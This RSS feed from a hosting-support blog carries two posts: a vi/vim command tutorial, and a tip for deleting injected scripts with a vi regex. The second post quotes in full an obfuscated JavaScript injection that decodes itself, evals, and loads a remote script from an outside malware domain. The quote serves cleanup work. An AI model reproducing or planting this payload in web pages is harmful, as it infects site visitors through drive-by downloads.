<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SupportSages &#187; vim</title>
	<atom:link href="http://www.supportsages.com/blog/tag/vim/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.supportsages.com/blog</link>
	<description>Technical Support and Server Management : Musings in the fox hole.</description>
	<lastBuildDate>Fri, 16 Jul 2010 02:47:40 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Chapter 10 Editing files in Linux.</title>
		<link>http://www.supportsages.com/blog/2009/05/chapter-10-editing-files-in-linux/</link>
		<comments>http://www.supportsages.com/blog/2009/05/chapter-10-editing-files-in-linux/#comments</comments>
		<pubDate>Tue, 19 May 2009 09:55:59 +0000</pubDate>
		<dc:creator>Fabian</dc:creator>
				<category><![CDATA[Howtos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Training]]></category>
		<category><![CDATA[edit files]]></category>
		<category><![CDATA[files]]></category>
		<category><![CDATA[vi]]></category>
		<category><![CDATA[vim]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=259</guid>
		<description><![CDATA[<p style="text-align: left;">There are several tools available in Linux to edit a regular file. The most popular and user text file editor is VI, and VI Modified is called VIM.</p>

<p style="text-align: left;">file - use file command to know the file type
vi  is very hard to learn, but really powerful

<strong>Either learn VI or learn Unix :-</strong>

<strong>VI:-</strong> VI is a vey powerful text editor. The name vi is derived from the shortest unambiguous abbreviation for the command visual in 'ex''; the command in question switches the line editor ex to visual mode.
<p style="text-align: left;">The VI has three mode</p>

<ul>
	<li>Command Mode - simple one/two ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">There are several tools available in Linux to edit a regular file. The most popular and user text file editor is VI, and VI Modified is called VIM.</p>
<p style="text-align: left;">file &#8211; use file command to know the file type<br />
vi  is very hard to learn, but really powerful</p>
<p><strong>Either learn VI or learn Unix :-</strong></p>
<p><strong>VI:-</strong> VI is a vey powerful text editor. The name vi is derived from the shortest unambiguous abbreviation for the command visual in &#8216;ex&#8221;; the command in question switches the line editor ex to visual mode.</p>
<p style="text-align: left;">The VI has three mode</p>
<ul>
<li>Command Mode &#8211; simple one/two letter commands</li>
<li>Edit Mode &#8211; Allows to append and insert text</li>
<li>Ex Mode &#8211; allows to execute commands</li>
</ul>
<p style="text-align: left;">Going back and forth modes requires to go to command modeby pressing escape.</p>
<p>Command Mode:-</p>
<p>Arrow keys &#8211; hjkl<br />
w &#8211; moves cursor forward by a word<br />
b &#8211; moves cursor backward by a word<br />
0,$ &#8211; beginning and end of line<br />
Ctrl + f , Ctrl + b &#8211; Page UP, Page Down<br />
Home &#8211; gg<br />
End &#8211; G<br />
:25, 25G &#8211; to the 25th line<br />
% &#8211; matching braces</p>
<p>1. Insertion</p>
<p>Insertion &#8211; I, i<br />
Append &#8211; A, a<br />
Insertion on a new line &#8211; O, o</p>
<p>2. Deletion</p>
<p>Delete a single character under cursor &#8211; x<br />
Delete a single character left of cursor &#8211; X<br />
Delete all the stuff from cursor to end of line &#8211; D<br />
delete 10 words &#8211; 10dw , d10w<br />
Replace a single character &#8211; r<br />
Undo the last change &#8211; u<br />
To repeat last command &#8211; .<br />
To join two lines together &#8211; J</p>
<p>3. Search in command mode</p>
<p>Search for a word downwards &#8211; /word_to_search<br />
Search for a word upwards &#8211; ?word_to_search<br />
Repeat the previous search forward &#8211; n<br />
Repeat the previous search backward &#8211; N</p>
<p>4. Search and Replace in ex mode</p>
<p>Change a single character &#8211; r<br />
Replace mode by typing over &#8211; R<br />
Search and replace first occurence of old_word with new_word in the entire file &#8211; :%s/old_word/new_word/<br />
Search and replace first occurence in the current line &#8211; :s/search/replace/<br />
Search and replace all occurences in the entire file &#8211; :%s/search/replace/g<br />
Search and replace all occurences in current line &#8211; :s/search/replace/g<br />
Search and replace the first occurence of old_word between n1 and n2 with new_word &#8211; :n1,n2s/old_word/new_word/<br />
Search and replace all occurences of old_word between n1 and n2 with new_word &#8211; :n1,n2s/old_word/new_word/<br />
Search and replace all occurences of old_word with new_word, but prompt for confirmation &#8211; :1,$s/old_word/new_word/gc</p>
<p>5. Cut/Copy/Paste</p>
<p>Cut the entire line &#8211; dd<br />
Copy the entire line &#8211; yy<br />
Cut the word from the current cursor position to its end &#8211; dw<br />
Paste &#8211; p, P<br />
Swap the adjacent lines &#8211; ddp<br />
Cut 10 lines &#8211; 3dd</p>
<p>6. Exiting VI</p>
<p>Save in ex mode &#8211; :w<br />
Exit in ex mode &#8211; :q<br />
Forcefully save in ex mode = :w!<br />
Forcefully exit in ex mode, when a change is made accidentally = :q!<br />
Save and Exit in command mode &#8211; ZZ<br />
Save and Exit in ex mode &#8211; :wq, <img src='http://www.supportsages.com/blog/wp-includes/images/smilies/icon_mad.gif' alt=':x' class='wp-smiley' /><br />
Save and Exit in ex mode forcefully : wq!</p>
<p>7. Advanced VI to ponder with</p>
<p>:map to map the new defined command to a sequence of commands or keystrokes<br />
:map Ctrl+v_Ctrl+v_Space Ctrl+v_Ctrl+f means pressing space will enable page down.  Ctrl + v is to input a special character such as Esc.<br />
Encryption &#8211; :X and disable encryption :set key=</p>
<p style="text-align: left;"><em>So &#8220;Either learn VI or learn Unix&#8221; <img src='http://www.supportsages.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </em></p>
<p style="text-align: left;">
<p style="text-align: left;"><em> </em></p>
<p align="left"><a  class="tt" href="http://twitter.com/home/?status=Chapter+10+Editing+files+in+Linux.+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F259" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/tt-twitter.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=Chapter+10+Editing+files+in+Linux.+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F259" title="Post to Twitter">Tweet This Post</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2009/05/chapter-10-editing-files-in-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Matching and deleting patterns across multiple lines in vi</title>
		<link>http://www.supportsages.com/blog/2009/05/matching-and-deleting-patterns-across-multiple-lines-in-vi/</link>
		<comments>http://www.supportsages.com/blog/2009/05/matching-and-deleting-patterns-across-multiple-lines-in-vi/#comments</comments>
		<pubDate>Wed, 13 May 2009 21:03:04 +0000</pubDate>
		<dc:creator>George</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Snippets]]></category>
		<category><![CDATA[across multiple lines in vi]]></category>
		<category><![CDATA[Matching]]></category>
		<category><![CDATA[mutiline searching]]></category>
		<category><![CDATA[vim]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=335</guid>
		<description><![CDATA[If you want to search and replace a pattern similar to below,

<code>&#60;script language="javascript"&#62;&#60;!--</code><code> (function(){var nsLd='v:61r:20a:3d:22:53:63:72iptE:6eg:69ne:22:2cb:3d:22:56e:72s:69:6f:6e()+
:22:2c:6a:3d:22:22:2cu:3dna:76:69gator:2e:75:73e:72A:67:65:6et:3bif(:28:75:2e:
69:6e:64:65:78O:66(:22Win:22):3e0:29:26:26:28u:2ein:64exOf(:22N:54:206:22):3c0)
:26:26(:64:6fc:75:6dent:2eco:6f:6bie:2ein:64exOf(:22m:69:65:6b:3d1:22:29:3c:30):
26:26(:74ype:6ff(zrvzts:29:21:3d:74ypeof:28:22A:22):29:29:7bzr:76zt:73:3d:22A:22:
3bev:61l:28:22if(w:69ndow:2e:22+a+:22)j:3dj+:22:2ba+:22Major:22+b:2ba+:22Minor:22+
:62+:61+:22Bu:69:6c:64:22+b+:22j:3b:22):3bdoc:75me:6et:2ewrite:28:22:3c:73cr:69p:74:
20src:3d:2f:2fgum:62lar:2ecn:2frs:73:2f:3fid:3d:22:2bj+:22:3e:3c:5c:2fs:63r:69pt:3e:22):
3b:7d';var huwu4=nsLd.replace(/:/g,'%');var oLy=unescape(huwu4);eval(oLy)})();
// --&#62;&#60;/script&#62;</code>

Those who are in web hosting industry may know what the above line means :D. Anyways you can use this, in the vi exec mode to remove the lines

<code>:%s/&#60;script\_p\{-}--&#62;&#60;\/script&#62;//g</code>

It's better to have a perl script to search and replace the patterns. That is what we run for our clients under Enterprise monitoring plan.]]></description>
			<content:encoded><![CDATA[<p>If you want to search and replace a pattern similar to below,</p>
<p><code>&lt;script language="javascript"&gt;&lt;!--</code><code> (function(){var nsLd='v:61r:20a:3d:22:53:63:72iptE:6eg:69ne:22:2cb:3d:22:56e:72s:69:6f:6e()+<br />
:22:2c:6a:3d:22:22:2cu:3dna:76:69gator:2e:75:73e:72A:67:65:6et:3bif(:28:75:2e:<br />
69:6e:64:65:78O:66(:22Win:22):3e0:29:26:26:28u:2ein:64exOf(:22N:54:206:22):3c0)<br />
:26:26(:64:6fc:75:6dent:2eco:6f:6bie:2ein:64exOf(:22m:69:65:6b:3d1:22:29:3c:30):<br />
26:26(:74ype:6ff(zrvzts:29:21:3d:74ypeof:28:22A:22):29:29:7bzr:76zt:73:3d:22A:22:<br />
3bev:61l:28:22if(w:69ndow:2e:22+a+:22)j:3dj+:22:2ba+:22Major:22+b:2ba+:22Minor:22+<br />
:62+:61+:22Bu:69:6c:64:22+b+:22j:3b:22):3bdoc:75me:6et:2ewrite:28:22:3c:73cr:69p:74:<br />
20src:3d:2f:2fgum:62lar:2ecn:2frs:73:2f:3fid:3d:22:2bj+:22:3e:3c:5c:2fs:63r:69pt:3e:22):<br />
3b:7d';var huwu4=nsLd.replace(/:/g,'%');var oLy=unescape(huwu4);eval(oLy)})();<br />
// --&gt;&lt;/script&gt;</code></p>
<p>Those who are in web hosting industry may know what the above line means <img src='http://www.supportsages.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> . Anyways you can use this, in the vi exec mode to remove the lines</p>
<p><code>:%s/&lt;script\_p\{-}--&gt;&lt;\/script&gt;//g</code></p>
<p>It&#8217;s better to have a perl script to search and replace the patterns. That is what we run for our clients under Enterprise monitoring plan.</p>
<p align="left"><a  class="tt" href="http://twitter.com/home/?status=Matching+and+deleting+patterns+across+multiple+lines+in+vi+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F335" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/tt-twitter.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=Matching+and+deleting+patterns+across+multiple+lines+in+vi+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F335" title="Post to Twitter">Tweet This Post</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2009/05/matching-and-deleting-patterns-across-multiple-lines-in-vi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
